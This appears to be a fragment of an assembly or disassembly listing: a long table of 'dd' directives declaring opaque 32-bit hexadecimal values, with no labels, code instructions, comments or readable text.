dd 0D5AE482Bh, 0C0DCD772h, 1EAA4648h, 43D3B8D9h, 0AF432869h
dd 0CFD0B3E8h, 0E0022098h, 4DB3356h, 0FF94E8C7h, 87E3022Ch
dd 0DF18E686h, 0EBA10563h, 2040E380h, 8206D08h, 0D328C0F5h
dd 0FF63C467h, 0F8356A03h, 0A66E80A6h, 0F9A90050h, 9165DFACh
dd 201C60Ch, 0CE3C0E49h, 0AB204777h, 0CDD0E74Ah, 0B9F40F9Ah
dd 0EA604EE6h, 3C3D6550h, 8B4B3300h, 0A728A959h, 0B82B125Eh
dd 0D244087h, 0C4BCE34h, 0BB50E77Ch, 0D0C3050Ch, 0B023BF7Bh
dd 10B1DEh, 204F3A6h, 313B1342h, 8C2C161Eh, 63006E1Fh
dd 9B06C805h, 475F009Ch, 17EBB09Ah, 2E0028DEh, 0D738BF80h
dd 4EA494h, 66C4C3B5h, 0F2D9914Bh, 8500F398h, 0AA8C195Ch
dd 0C341A6h, 9A617883h, 0EAAB05C5h, 7646B50Fh, 7B7EA058h
dd 0B8AFA616h, 4EFC00C8h, 73EA26B0h, 9907525Ch, 0FDAA359Dh
dd 283F8C0Ah, 8600B8A7h, 0A3EF678Bh, 2E57CF77h, 62EA9Eh
dd 3BF752C9h, 4AEC1FD5h, 0E43CE24h, 0D011A318h, 0DA048C4Ch
dd 0B527F848h, 0F643DB41h, 5941A538h, 8ADDE1DCh, 6B108C07h
dd 3B631914h, 1D8009FBh, 7AC02BDh, 5C1F30CFh, 2B00101Ah
dd 2462CDA9h, 0F4140660h, 51ADE7D5h, 464FC902h, 6250335Bh
dd 308263A3h, 0EC21BE08h, 32B04647h, 12630DFCh, 0B7E871h
dd 0F2B38621h, 67DCABDDh, 44997A00h, 0BBC3D27Bh, 18372808h
dd 696080ECh, 6B4718AAh, 41F1103h, 88DEB800h, 80871906h
dd 611874EEh, 0FD422113h, 0B95FD8B7h, 614BAB00h, 0FFEDBA35h
dd 86DC30FEh, 6D5CA259h, 6C0C5101h, 4403F8CEh, 21970898h
dd 6D0254C7h, 93600653h, 78EC4904h, 0D2D6E4h, 0DE70ACADh
dd 6D188EE5h, 9421851Eh, 314CAFC0h, 0E45551h, 4676105Fh
dd 3B5AFC59h, 1934A3Eh, 5E82B692h, 0F7D95283h, 0DE14D050h
dd 7E0501C2h, 75AD23DFh, 0F0898C7h, 0D63779h, 0B08C58C2h
dd 0CE4E1E5Ah, 4180AEAh, 0E7F90D10h, 0B8B0A8B1h, 5EF70012h
dd 5F66E4BCh, 0E360F85Bh, 3577AE90h, 3A0300FDh, 445604D2h
dd 0DD30BAE8h, 0C5A4F98Bh, 0CF2E1CDAh, 0E90740CAh, 91FC72C0h
dd 61AB8D30h, 54087DA5h, 320ED43Bh, 3C9FC2Eh, 9100D043h
dd 445B0B5Fh, 1354B2CBh, 2093C30Dh, 32471890h, 80BDF53Dh
dd 1BAEC89Ch, 724B5F99h, 0D91900A1h, 34A582E4h, 0D1608492h
dd 3CAD0979h, 0FBAF00A8h, 557ABE91h, 0B924BD10h, 921C1D62h
dd 0FECE6130h, 60CD0086h, 1FEFC8F9h, 2C0CA39Ch, 0A00135DDh
dd 0A5833B7Ah, 41E06064h, 174081A2h, 3CD850C7h, 2028C45h
dd 0F688DCB8h, 10191918h, 0B7FB40h, 0DB7C0B9Eh, 0DD749B67h
dd 20C5FD70h, 0A0208991h, 7806EDA2h, 80309FBh, 7411AA84h
dd 0B8F8194Bh, 268829E2h, 171138h, 0F1B80146h, 0B10267h
dd 0A7625FFDh, 54F33785h, 0BD90E00h, 6365E356h, 60953E87h
dd 6DA2B180h, 0FFECFDE2h, 3E8826E3h, 0C52885Dh, 409DC474h
dd 0E6D55C8h, 14BE214h, 0B58DCBA4h, 0A1096CF0h, 13D198C1h
dd 5F01DC18h, 0D925D52Bh, 0FC5245EFh, 4E49041Eh, 0B0D48913h
dd 11464E40h, 8848335Ah, 0F8EB9FC5h, 1CD703F0h, 1577D024h
dd 0DDA6BBE8h, 80D18D6Fh, 0C2CDC547h, 0DE71017Ch, 0B1361B98h
dd 8C9054AAh, 0CA00E194h, 52C5CD34h, 0F41D9CFh, 3DEB9879h
dd 6D805F60h, 0F84CA931h, 83771838h, 608A9161h, 560991ACh
dd 1E54E8E4h, 2E8CD268h, 1487464Ch, 0E9A06838h, 4004644h
dd 0D2C2C3ACh, 1F3F252h, 3455092Ch, 22DE0B96h, 20E50FE0h
dd 9351C158h, 0A852673Bh, 0F7F6021Bh, 0C4E84512h, 0F8A463C0h
dd 90F7D03Ah, 91B24424h, 29C38176h, 7E857EB8h, 33600D89h
dd 0E129C2B1h, 0D5D8C765h, 0FA202A0Eh, 11033882h, 960B454h
dd 6A4B8110h, 15918417h, 0A86AA080h, 81CF94DDh, 663C4103h
dd 7CD03E43h, 549000BBh, 0B1CAC4CCh, 24046579h, 111003ACh
dd 0C9B6E846h, 959EBC02h, 0C0FC206Ch, 1CE040D9h, 68B4DE68h
dd 0F59321A4h, 5280D811h, 68335E46h, 0EFC3448Ch, 9A464A00h
dd 0A8B79D5Dh, 6C9818A1h, 117F8107h, 73D78F00h, 0B510C0F7h
dd 6C694CB8h, 0C3A2D843h, 7FCD30h, 39671ED3h, 0B58B924Eh
dd 750921C1h, 5826B864h, 2F8AE300h, 0B337F8BEh, 0DD150B1h
dd 4F001C18h, 98CB9626h, 0C0B8E8E3h, 0CD667571h, 61000B0Fh
dd 527674CAh, 9653F5h, 808AE997h, 290F1555h, 0E4510A68h
dd 0E69AC860h, 54193F70h, 2D28A280h, 4290788Fh, 461A903h
dd 79350h, 8A962A39h, 41B7A03Ah, 0B81E9F00h, 6CB9C747h
dd 69F7013Fh, 0DD3CDEBDh, 81618392h, 0A823D1FAh, 9EBA41h
dd 0B2AEA2D4h, 0E91C83E0h, 0F5002AB0h, 65608118h, 188D458Ah
dd 7C7C7FD9h, 0C20406F1h, 869254CEh, 15FCF888h, 0EC106B53h
dd 0A6B88E00h, 0EB2148CEh, 382BB500h, 8415663Dh, 8B430901h
dd 10844E88h, 40F34EBEh, 9FEB385Ah, 0A07F00CEh, 5854F03Fh
dd 0C71F304Eh, 0E5809104h, 0FBF57E10h, 79289914h, 3F4318C0h
dd 0C10B67C9h, 14000478h, 0E7DAD22Bh, 6A750A0Eh, 5C0D93ABh
dd 0B3416960h, 70328A82h, 2AB7F11h, 0E887C1A5h, 8B8420B6h
dd 2B1C22E0h, 0C87A1B5h, 92821957h, 30D4AAF3h, 76084674h
dd 980E0324h, 0F531A64Eh, 0FBD48341h, 8C8148C7h, 4800A846h
dd 0F0CE9750h, 7DE625C8h
dd 3A3CBF00h, 0E4CC2D35h, 1BDA0053h, 8800BF5h, 0B91FCAh
dd 2924611h, 0FE88DD2Ah, 1644446Ch, 0B7FC1D41h, 0ECC9490Ch
dd 20C5B804h, 60E920A8h, 0DB6A11BCh, 3E00BBB5h, 9D0FCF2Dh
dd 2258DFCh, 53030236h, 0E05FEBF4h, 5891A929h, 0FA88D874h
dd 4D6D58C0h, 224C460Ch, 50C3009Eh, 7533996Dh, 2EE57F9h
dd 0E34B9614h, 18DBC08Ch, 359F1F5h, 8CBA4AF7h, 0DD886401h
dd 5000D671h, 0FBFA0C54h, 0A608040Bh, 23842BCh, 0D78510F0h
dd 0B8546040h, 8184677Ah, 0DDE64E7Eh, 0E1001189h, 22F7B168h
dd 5879322Dh, 46DF0CBAh, 68612466h, 0E4010F22h, 3F28D635h
dd 9A2358h, 0DD1ED0Fh, 6A5D469Bh, 9DAB8B0h, 0BDFFB5BAh
dd 68006064h, 0CB447634h, 1CF703Eh, 0D958C3A3h, 8095DD8Bh
dd 78FAA781h, 1425DA0h, 6C6D40D5h, 0C0C04CB9h, 5709BC76h
dd 550AFCh, 5D9B90BDh, 0CC2A1D19h, 2F958BCAh, 0C967DC04h
dd 84B841C8h, 23207313h, 464D01D3h, 18403359h, 45EA88BFh
dd 0FCEF4605h, 54C2E33Ch, 6C3A107Fh, 0A001AF7Ah, 0A2CD2B60h
dd 0E4ED1D7Bh, 0F5B0AE8h, 135DD30Eh, 0A7646500h, 710A60C4h
dd 0CC754D79h, 0AA0AC11Ch, 0FB11D0F4h, 4E6D5980h, 448C540Ch
dd 5101C499h, 50098E6Dh, 2C69DD73h, 60FC4864h, 234F6D5Ah
dd 9F115C0Ch, 6D00CB58h, 114822AFh, 0D502B347h, 0E96B58F2h
dd 0AC80A0B0h, 9B90EAEh, 20505624h, 0E8608CCAh, 370136F7h
dd 678A8F64h, 0B842F133h, 0A8E4ADh, 3DCC7528h, 3C35F9F8h
dd 47378AFCh, 0DB40292Fh, 0A0092933h, 3C61594h, 7F730287h
dd 2BFB8884h, 1DDF293Eh, 4809AA8Ah, 516C3161h, 19A24C23h
dd 4BC3D30h, 4F29F806h, 168CC22Fh, 58392B11h, 0C98EDD18h
dd 320047ACh, 53566322h, 0BF3A0A5h, 0E8438011h, 0BEF80C90h
dd 843C7C00h, 2FD97426h, 0F5D0478h, 0CCDBCB60h, 590020F0h
dd 3F32BA89h, 2097E12h, 2B984331h, 9C60EBB4h, 5446AF4h
dd 4ED20FA0h, 4CA0FC2Ah, 54123703h, 3FFEB22h, 0DEF3680Eh
dd 9B8235F8h, 42B60860h, 276B8100h, 3C718F6h, 3990A405h
dd 4059F52h, 0C03A5EE9h, 4D76100Eh, 75FDA300h, 1C098A44h
dd 696500FFh, 2B51039Ah, 5E3098EBh, 0C1047C80h, 1E421F5Ah
dd 6B7F8F1h, 0B290F059h, 0CA007899h, 9F916E75h, 1855E04Ah
dd 0B1887DB9h, 2600FE3Ch, 2B5DE266h, 0E0F510B7h, 0F90E3C52h
dd 960BEF00h, 8492F3A9h, 8C44C84Ah, 0E840877Bh, 6C6021BDh
dd 9C00394Bh, 0DDE06792h, 1EBF71D2h, 40AD480Eh, 3CED47CEh
dd 0A1C1096Bh, 2C38E5C8h, 630CF8FBh, 5C934E90h, 0F9B580BCh
dd 0AC792FDDh, 6C4E8C0Ch, 828855h, 0C60BE2DEh, 0E7421A88h
dd 687E63B8h, 67A1D60Dh, 0B26008A5h, 0D1C10544h, 0AF064B13h
dd 890DF1C0h, 44F0F0Ah, 9F9D15CEh, 10F701D8h, 0D84C08CCh
dd 0C9F009CDh, 3B60A974h, 0DB4A1810h, 4ED50788h, 20CEE0C6h
dd 3C11B8AEh, 0ADC0217h, 14CB4400h, 0C91545h, 0DBC14B08h
dd 0D811471Ah, 0E13A1778h, 8A306ED7h, 3A3EFD18h, 0BCC00012h
dd 0D40F380Dh, 104F0AC5h, 4864C6DEh, 6DFF504h, 10EA5950h
dd 0F2D70F1Eh, 0C5400C2Eh, 3C1632Fh, 6CC4232Eh, 8301B26h
dd 27E621B9h, 31520063h, 0DA8EC25Ch, 690C0BDFh, 61A4BEFCh
dd 68C700C1h, 0C9E42A36h, 0AC6722DAh, 20BCBB08h, 0BF75E8h
dd 69464285h, 592AFCEh, 152E6200h, 51A90BACh, 0C071DDB2h
dd 9DB4228Fh, 2900A6E5h, 0F1D232D0h, 0C1DAD306h, 79EDB059h
dd 0F86847D7h, 0C0632EC1h, 0C1181BCDh, 63E4E589h, 9AF601EDh
dd 0B7BA89AAh, 61B4FC3Dh, 8AB1AB62h, 539CA06Dh, 5397B65h
dd 6E9428BBh, 7801F8Bh, 486A2976h, 0B90F401Eh, 0F611B88Dh
dd 32B70FBh, 0A98CF560h, 830E557h, 0F21821F3h, 2197032Bh
dd 3F31A0FDh, 377E4BB0h, 79738A37h, 0E46B03D0h, 0FA40001Ch
dd 0A81BEC72h, 3D0CED2Eh, 0F871D50Fh, 35078CF8h, 532EC764h
dd 40C06468h, 93632DECh, 0CD5A00FCh, 306E32E1h, 28006269h
dd 0CFAE9DC5h, 291048A0h, 0A2CF6D7h, 14AB6433h, 0BD882C43h
dd 632BEA80h, 4A3EFE9h, 5EB4FF24h, 2A0C90A7h, 0EE754AEDh
dd 5C307105h, 0A0016D1Eh, 0FB6325CAh, 1ADE188Ch, 5B2AB450h
dd 100C0E4h, 60E683F4h, 29E0737h, 0F20B326h, 90A769A9h
dd 882741D1h, 8711816Bh, 0F1FA99FEh, 0E8E39FC7h, 7F0830E9h
dd 99F6A821h, 0F078300h, 2778081Eh, 0E5C8A8E3h, 296E6122h
dd 0F0045AF0h, 3648AE9Ch, 38F62374h, 29306884h, 75E238B4h
dd 7C8A00B9h, 820EC8DBh, 5F37B47Bh, 78D621B6h, 0F6300069h
dd 31D1F08h, 0CE383B60h, 4C4500AAh, 513140C7h, 5B0A8DFh
dd 41B56FC0h, 0D320B88Eh, 0FDB28826h, 0FF305900h, 0A8850542h
dd 457500BDh, 1D2CD8C9h, 149004FBh, 0B0370604h, 2E43ABF3h
dd 1E5028Ch, 0AEDD4C4h, 0A829AA03h, 0A28EA518h, 0F8ED28F1h
dd 71D90354h, 5E1696B0h, 7F3E8CE0h, 0ED3040C1h, 208651E8h
dd 0A80BF70Fh, 86426C18h, 28252420h, 0F8F4DEB3h, 0DCA9504Ah
dd 913612D5h, 0EBFC01ADh, 20B6D062h, 150CD740h, 89570D75h
dd 1BA07440h, 20BF783Bh, 98B7C4C7h, 2B08F9B4h, 0C4E55FFEh
dd 0F01640EBh, 15CFF52Bh, 80A6EFB0h, 14419E1Dh, 29C24BEh
dd 1D60052Ch, 803DD847h, 54432BF7h, 16C700Eh, 24789EABh
dd 10768A9Ah, 0B269A2h, 0D43DC693h, 7A65D5ADh, 3C3539EEh
dd 8803498Fh, 0FC0486FDh, 90C42B01h, 0DB58408Eh, 600EFFAh
dd 0B0C1D2E3h, 385417h, 5A82AA0Ch, 0A3CFBBE2h, 26608805h
dd 0A007B7E5h, 3079A5D2h, 1099FD84h, 0E0E9F1F9h, 99F5A7h
dd 35D2FCB1h, 0EF2F77B6h, 40B4BF88h, 861E9F68h, 1407E7FAh
dd 0F8705D0Fh, 78C9D14Bh, 27C1F35h, 21E6492Bh, 0BC75890h
dd 99726207h, 0D87A1032h, 0A45F3706h, 30F07F21h, 0D918B10Ch
dd 0C90C8C15h, 217C23E5h, 0D0B55550h, 4F75DCh, 44B4A6A4h
dd 7AFDF9D3h, 0B6038B01h, 4152CE4Bh, 0EAF20422h, 6FBFB830h
dd 0E1CFE1B3h, 0C66AE740h, 0B40044CAh, 959E0D4Bh, 3D848A09h
dd 62268B42h, 0DEF56164h, 60A802DCh, 0F38E8C58h, 0EB0E6180h
dd 0D2691747h, 0E635CF09h, 0B70C1023h, 2EE537F7h, 0C09E8F79h
dd 0FDC30236h, 75608926h, 2969AB19h, 8CB000BFh, 6E3F525Ah
dd 613231D5h, 30BAF036h, 1112BFCh, 0F088FD60h, 2BF31980h
dd 0A714D5h, 25925805h, 0CE5C2EC8h, 0CC9348h, 172F2707h
dd 26329A01h, 478A330h, 0C2E0E161h, 120AF58h, 51F432F2h
dd 36F1DCD3h, 3C20BDE5h, 1188B0C9h, 10DDE3ECh, 0ECFCC52Ah
dd 71F7078Ch, 0F5F66442h, 0EA06427h, 8FF7898h, 0C187682Fh
dd 8B655FFDh, 0B98800CEh, 31313EC3h, 8A149418h, 79598077h
dd 0E626B272h, 4984011Ah, 0ED2FA470h, 0F1B3FCD0h, 9EF5C83Fh
dd 300077F2h, 0BF05C1F8h, 0DA99C0ADh, 0E97E5C45h, 63D38702h
dd 608EA927h, 930CFEDh, 35CA02A1h, 0F011409Dh, 63497A80h
dd 0A00BD89h, 649B5DEEh, 4DF22726h, 2D23040Eh, 1F9A040Eh
dd 64FB21C8h, 0FCAE4084h, 1E208299h, 1A8C498h, 7145358Bh
dd 7773209Dh, 81DD2C30h, 50D55E5Fh, 0C06BFCAFh, 3161C948h
dd 4099B817h, 0BB187ED1h, 0A0CE1916h, 91F78830h, 414300F6h
dd 0F57C6C76h, 18005996h, 0E96010EEh, 4864B4A8h, 42CF4CAAh
dd 0CF0FBBE8h, 1E2A0102h, 0E5E0A01Bh, 59746225h, 64932676h
dd 0C004BBDAh, 30F71C82h, 0C61D6434h, 91A14B2Eh, 2CEB00BEh
dd 0B33BFC63h, 0BC350350h
dd 0B29526D7h, 2A775013h, 30E50821h, 60005472h, 91194731h
dd 0A2485062h, 67590FB4h, 0BE73E284h, 37C8416Eh, 8188A44Eh
dd 25D0F2C7h, 70721EBFh, 652D717Eh, 0AE990C7h, 9498C5FCh
dd 0CE22E8B1h, 106E9081h, 50204298h, 18FFA4ABh, 40A6895Dh
dd 2877F5B8h, 0D3297960h, 1C22559Eh, 66ACAB42h, 0AD4B0053h
dd 889D98C2h, 7B4C900h, 3805BAF0h, 90994CB0h, 235322C0h
dd 0B6044E4Dh, 0FA2EFFCFh, 0C5DBD080h, 5C2A19F1h, 206180B2h
dd 44B1CD7Ch, 3407F281h, 6B30BE47h, 0A12A000Bh, 0F461874Fh
dd 4B0E3E35h, 52765C6h, 0D440AF51h, 7E401D88h, 18E4A7h
dd 94625EF4h, 0CFCE63C1h, 37C2DF03h, 0B0C96C2Ah, 0CFD3253Eh
dd 9644F5F0h, 402082EDh, 0F1E4B865h, 9D63E862h, 2DE94988h
dd 5832B277h, 908AC9B7h, 8F4FA4h, 0D798EF5Bh, 1A7C09F5h
dd 0A63EF700h, 19E3AF8Ah, 56600906h, 0B4A3CA5Dh, 69A9A7A4h
dd 0C04428F8h, 2A3268C3h, 38808CC4h, 48EABBE4h, 3BFDCC00h
dd 2F1D2C37h, 2C3CBA02h, 0BC042A74h, 14196C92h, 28234014h
dd 0A499FF0Fh, 8362F9F1h, 99F7A920h, 81C50008h, 4E663144h
dd 0C85C553Ah, 0CE980004h, 0C94AF75Dh, 2D080C05h, 32D1B28Dh
dd 6E129413h, 0BDC8248Eh, 0AB6F0EC0h, 0EA7C0026h, 0B0DB5341h
dd 92B1EBh, 0DC65B42Ch, 0BB25CA40h, 0C80482DBh, 0EA0140BFh
dd 3D8AE593h, 0B1A81841h, 3B520030h, 4C5DB604h, 411F1C0Ch
dd 0D4048480h, 7DC2955Fh, 11D08752h, 58B43459h, 0B8C8840Eh
dd 0FF2BFAC0h, 24ED485Fh, 0C0AD17E3h, 3D2ECD64h, 4AABC502h
dd 5256B4DEh, 0CC9D48C8h, 0ECC0D4A3h, 0AE00B393h, 0F9016FF4h
dd 8A7FA63h, 0A357F0A2h, 0FB081253h, 29C409C0h, 0BDA8840Ch
dd 112BFC8Ch, 88156004h, 0F61C81F2h, 0E077662Bh, 581F3149h
dd 370665FEh, 1C996F8Ah, 0EE59E5h, 0AA9F7208h, 0DD501AF5h
dd 0C02206C4h, 947800ABh, 6F5E7B27h, 2D2C6EBCh, 9096CC30h
dd 0BB23EC3Ah, 0A5BC0F00h, 0C3BA51F1h, 7098D19h, 543FB8F8h
dd 40110E00h, 4719813Ch, 3A8207A4h, 192F20CBh, 2B774881h
dd 7E9BED8h, 2364ED2Eh, 9CF27194h, 1C30BEF2h, 56CD0D38h
dd 23FE3606h, 3080A2F4h, 8100FCD2h, 2EC7077Ch, 9C78CA6Ch
dd 0B6893FA4h, 4C44D503h, 0F6302E72h, 0C84C2098h, 0B2C02A9Ah
dd 2DA300B8h, 0EC9084B6h, 0BA075229h, 9C7649FCh, 1DC09600h
dd 0D12620C9h, 0B0D6A603h, 0C7DF32EAh, 11981D8Bh, 96D8BB9h
dd 80D8A21Eh, 24E501C6h, 0BAE1806Ah, 252E3803h, 0ABF379FFh
dd 3060ACB4h, 2E23C263h, 0BD112Bh, 0D6328E7h, 25127ED2h
dd 0FC208ECEh, 1F438250h, 4ABBE907h, 28103653h, 0F0BA3E1h
dd 84B5D27Dh, 0C89D52ABh, 9CEE11h, 5D12E7D4h, 5262E60h
dd 0FED008D3h, 0D0D281A2h, 0D8A9BEF4h, 24DE7135h, 6E86498h
dd 0F0A1D092h, 729CEAFh, 0F7850768h, 0A0200813h, 2AF136F5h
dd 0A0D08EBAh, 66E258h, 0EE71EB95h, 77D2E613h, 0EC462F4Eh
dd 1970F830h, 69FCED92h, 1508299h, 52C035CAh, 0DC261CFCh
dd 0BE598081h, 47B40356h, 31FC660Eh, 645BC9CEh, 3725108Ch
dd 0DC3024FEh, 2EE60585h, 10F230C8h, 0ED2B062h, 0F0B9265Fh
dd 4A80C92Ah, 0A4F024B8h, 0D263E58Ch, 0F9FB90A8h, 0C193E68Eh
dd 5EA80E9Bh, 996ACBC1h, 0FE21CC89h, 0A6770D02h, 6BF83106h
dd 63CF8090h, 0BFC9139Ah, 667C2704h, 350EB9A6h, 20CF11B5h
dd 0D56B64C3h, 8C034D1Bh, 89AC8440h, 3E622066h, 0E15C9201h
dd 0B78C0E57h, 2CBC51E6h, 0AD800860h, 0C4B9EB20h, 3C188079h
dd 0F3E3ED00h, 0DA05CF4Ch, 0C3552856h, 5AF11794h, 37D04BCCh
dd 0F27B6802h, 17AD4471h, 80BB9104h, 8AD4CD8Dh, 8989C070h
dd 0F421D7EBh, 9C127579h, 9C908EF8h, 0BB14574h, 0B907C05Fh
dd 0A4684809h, 0BCB1ECB0h, 0DD63F82Ch, 0CC178083h, 357826C8h
dd 695260F8h, 0E200D09Eh, 93C42482h, 9C415158h, 0F1465C18h
dd 8BB4FC00h, 5C4B7FFEh, 107C9E4Ch, 28489AFAh, 93E11F10h
dd 0BE23242Eh, 9ED92900h, 2805C6EBh, 0F5EC4ED0h, 0FC9AC019h
dd 1101F123h, 0F8AA047Bh, 10809399h, 269CA864h, 182857AEh
dd 0E5B569CDh, 58E282Dh, 306AD14Ch, 42911D05h, 6990A10Ch
dd 10628364h, 261809CCh, 0B0E8E9AFh, 0A4A8E28Eh, 0CF002357h
dd 0B79055B1h, 0F125C762h, 5114CC28h, 0A78798B4h, 8D6E50ACh
dd 0EF01D78Ch, 0F15CE121h, 0D0702B11h, 690A1702h, 0C2E460F7h
dd 29233168h, 1DBE11BCh, 6A47BAE3h, 2AD05C97h, 4E8E730h
dd 0B56099C7h, 60A8E563h, 2E88ABECh, 6CFE5994h, 0D794275Bh
dd 0D88961B7h, 5548C87Ch, 0F0035000h, 6460FCC8h, 0E78E30C2h
dd 0FAFF42F1h, 7368D00h, 0BE27219h, 57031E4Bh, 38140969h
dd 3C360C61h, 0C0CD80CCh, 0A7F104h, 2BD90BCAh, 54B1CB5Eh
dd 68620C04h, 0C4E306C3h, 0B1B85118h, 0BC3A4647h, 8C5A8009h
dd 1887C922h, 0C64B00D7h, 0DDD206Dh, 0B8BC389Fh, 2BA465Eh
dd 3E605F70h, 0B04D895h, 0C34462F1h, 0A450B042h, 0BC6C4058h
dd 61018CECh, 30C86FF9h, 84488AA8h, 0ACB10097h, 0BA5424ADh
dd 0DE012771h, 74B21D4h, 90204CCFh, 2128C2Bh, 1315FE9Ah
dd 9D7D8860h, 0A299CFACh, 8A3791C2h, 92006C44h, 261A860Dh
dd 6BD79Eh, 0A33649BCh, 9FD2C93Eh, 0AA7DE404h, 0C88E8B0h
dd 10BF626h, 242B315h, 0FE64A4C7h, 24174CD0h, 5080ED25h
dd 0EAB4BA5h, 5664659Bh, 0A90F3180h, 2D2C8C67h, 0C990DC4Dh
dd 26B3DF82h, 0F04E7044h, 0F4841034h, 17FF84E4h, 882BB630h
dd 97002984h, 0DDDF6C15h, 3AFCB416h, 1B806008h, 0A093FFD4h
dd 9B019C29h, 392B206Eh, 43F496D9h, 61090E52h, 8B6E72F2h
dd 0A98D7B80h, 0C20076CDh, 4A7E3A07h, 3ADACEAAh, 2600F017h
dd 0A3BCEACAh, 534C16A5h, 3BD40058h, 5F764BF5h, 72CE0378h
dd 619867F3h, 1034C7BDh, 15A6E0C2h, 5A03771Fh, 5CA46C81h
dd 0AC247A1Eh, 9D6F0C5h, 57B4C6A0h, 0D2993C68h, 465CB8BEh
dd 9B2B0B7Dh, 1C60E470h, 27477Ch, 7F4FA9C9h, 73010A10h
dd 6B1521BFh, 0C2FC7550h, 0F3B03982h, 4433F055h, 21ECE02h
dd 96C0DE98h, 0B35F542Ah, 0F1230C3Bh, 98A5100h, 0C12D7D0h
dd 0E48E6E45h, 0D67DF321h, 131F0107h, 7FE0CF66h, 176244DCh
dd 9B863999h, 0D04E8040h, 0B21EECA4h, 79A8B94Ch, 24018BFh
dd 93203EC1h, 0C0C1D310h, 0EC0515B3h, 70A0B536h, 0FC255C77h
dd 0F52A3780h, 78CAF9B2h, 0BF0A0C63h, 0EF80F0A9h, 0F08BA6BDh
dd 110170Bh, 683C0B36h, 4E3C5840h, 7DD16CB9h, 5B054418h
dd 6A8197DFh, 0C288C48Eh, 0D57705C0h, 1CCFEA0h, 6BB6E70h
dd 11742AE6h, 10222F76h, 51250709h, 0CCC834E1h, 5A076158h
dd 3A60E5EFh, 0D926DAF0h, 8B20D3AAh, 0C07FC878h, 0F2733A65h
dd 0A851702Ch, 80D33740h, 0B8D10160h, 64661F35h, 4BEAD019h
dd 5FE4C16h, 0B36888h, 1ED207A1h, 0B0DD1693h, 0E2BC3A00h
dd 0F3F0AE1Dh, 0CCB42FF7h, 3E835490h, 484324C0h, 4779A0h
dd 1CDE770Ch, 0D302BC1Ah, 37FF2D0Fh, 0E82B654Eh, 0A0C8EC24h
dd 4C5F0006h, 1AC82D87h, 221C3F56h, 0E4C63DBEh, 1231FAC9h
dd 20EFB0E6h, 3A5C2E0Ch, 0F1F40097h, 9426F7B8h, 0D2E504D4h
dd 0CD0A1C2h, 0B1002880h, 0FA38A8C0h, 276BEB9h, 0EA1421B8h
dd 1888469Eh, 86951DC8h, 79E98EA3h, 42785900h, 0D4C45E21h
dd 0E6A0031Bh, 237ABE93h, 0DC1D0CC0h, 5421C94Fh, 0D99DB0BFh
dd 0A398407Ch, 0D489599Dh
dd 4166F600h, 391CBB4Bh, 0A80B262h, 0BCF935FFh, 8EF809F8h
dd 0DD00F85Ah, 0A0601162h, 13ADB4D2h, 40F3B6E9h, 0D35FCF4Dh
dd 0CEE8C821h, 0CC0E96FEh, 0C9F90237h, 0C888995Ch, 0C0A35BF8h
dd 0F6CA0111h, 4D32365Fh, 0EEC070B3h, 5A69120Ch, 1FA853FCh
dd 95068020h, 51ADCD91h, 0A51FB002h, 8BABA438h, 8CCC90CCh
dd 72BB19A6h, 3C9EB83Eh, 97BD2714h, 827D9124h, 662E92B2h
dd 0F4631EC8h, 0DDD4C0BFh, 30E85FE5h, 0AB0F02F2h, 402F2C72h
dd 67BC0A9Ch, 80424BEDh, 269DA5E4h, 0A022C92Ch, 2EA14930h
dd 0C078F32Bh, 0A23CD54Bh, 30ECF2A4h, 0DB0477D8h, 0B0482AF1h
dd 0FC30F0C4h, 0E1F5DDh, 99546544h, 2CC5B487h, 42AEFC03h
dd 0E802D09Fh, 5A5F3D06h, 9DD40463h, 67C902CBh, 46B450DFh
dd 9A03022Ch, 6719F1FFh, 0C0AD1E64h, 0A7213199h, 0B09423E5h
dd 0BEE02A46h, 692C249Ch, 0A02C9C04h, 8C9420C8h, 1CB9465Eh
dd 793EF425h, 62720106h, 3E50CD98h, 7DA40736h, 6CA0148h
dd 666C7342h, 2153F024h, 352A046Dh, 84019A66h, 0A924D042h
dd 0E2005CDEh, 0B9EA83E1h, 732CFE65h, 45BE4E5Fh, 0C6333A8Ch
dd 0DF0064A4h, 0CCCEFC07h, 98C24989h, 772D22D0h, 6B2C5050h
dd 0E2A6C800h, 0CFD7E0DDh, 3B789045h, 0F4A91029h, 63310160h
dd 18332EC3h, 29E888BCh, 9A4F6302h, 0C4521158h, 0A9210180h
dd 0FEE2D116h, 0BCADD087h, 166CEA3Eh, 18208937h, 0C2850Ch
dd 64B9767h, 0AC273B26h, 5AF35C05h, 0B400C99Ch, 0CB1D2A34h
dd 8C849708h, 0BC04E86Dh, 91018CB7h, 8C2F6703h, 0A8308F9Ah
dd 696C904Eh, 86369E0h, 204262B4h, 825C2F60h, 9C47B4Dh
dd 29E12977h, 0C8C80594h, 8D2B40Ch, 0F1F80231h, 0F4B0FAA9h
dd 0CE398C52h, 408A3363h, 0FEA0252Ch, 6BAFE810h, 5D781516h
dd 6CF91E00h, 174F6A82h, 81279E10h, 212C3D18h, 1068AD3Ah
dd 2143A8h, 58118CF4h, 9717FA59h, 2D00DF74h, 7E12310Fh
dd 0BC6F6B18h, 60BCC430h, 3D032BFEh, 0D0DC0D60h, 2BF51BB0h
dd 0AABAB300h, 0FA278669h, 8BD60DA7h, 68D0825Eh, 29DCECCh
dd 40CEC93Dh, 9E7667C0h, 0F2465E28h, 93B6D000h, 0B772F8Dh
dd 0E5F1921Dh, 76B422AFh, 5A9C7228h, 80805FBFh, 0B5DB46FBh
dd 0C0169F3Fh, 104165BDh, 33022AF5h, 0C4288831h, 168CEBBCh
dd 17301A5Bh, 0AE5088BCh, 0EC2A880Eh, 0B94A808Eh, 0E99C1Fh
dd 56297DE6h, 0B499B068h, 904C6259h, 49F032C4h, 0B2D120ACh
dd 4C01E9FBh, 0FA108035h, 0F44695C6h, 0EF17FF29h, 756937E0h
dd 0AE3C8706h, 537A8059h, 0A670251Ah, 0D67725BDh, 0F89888C6h
dd 0F86E08DDh, 3B18F374h, 57B1EE00h, 1442664Dh, 0C6213F1h
dd 2670C2ACh, 2B42FCE6h, 6822CC48h, 0CA4CB0Ah, 0DCA880A0h
dd 0C602FB46h, 0DC2A3568h, 0E7664C79h, 8BB8240Ah, 81F7006Ah
dd 91905ABh, 742EC904h, 408092FEh, 5E26CF01h, 3872F0B2h
dd 4A742C48h, 87801C9Bh, 4F5CEF07h, 0C8E08E3Ch, 95DE10DCh
dd 9EED2A0Bh, 320FF841h, 30C1F294h, 4A007D3Ah, 371C7420h
dd 0E7B53457h, 0FD87E06Ch, 7489093Ah, 9D09F846h, 0D9FC2ECCh
dd 9AED065Ch, 320488E2h, 0DDF9C25Ch, 0B8E8E0A8h, 0FF30028Ch
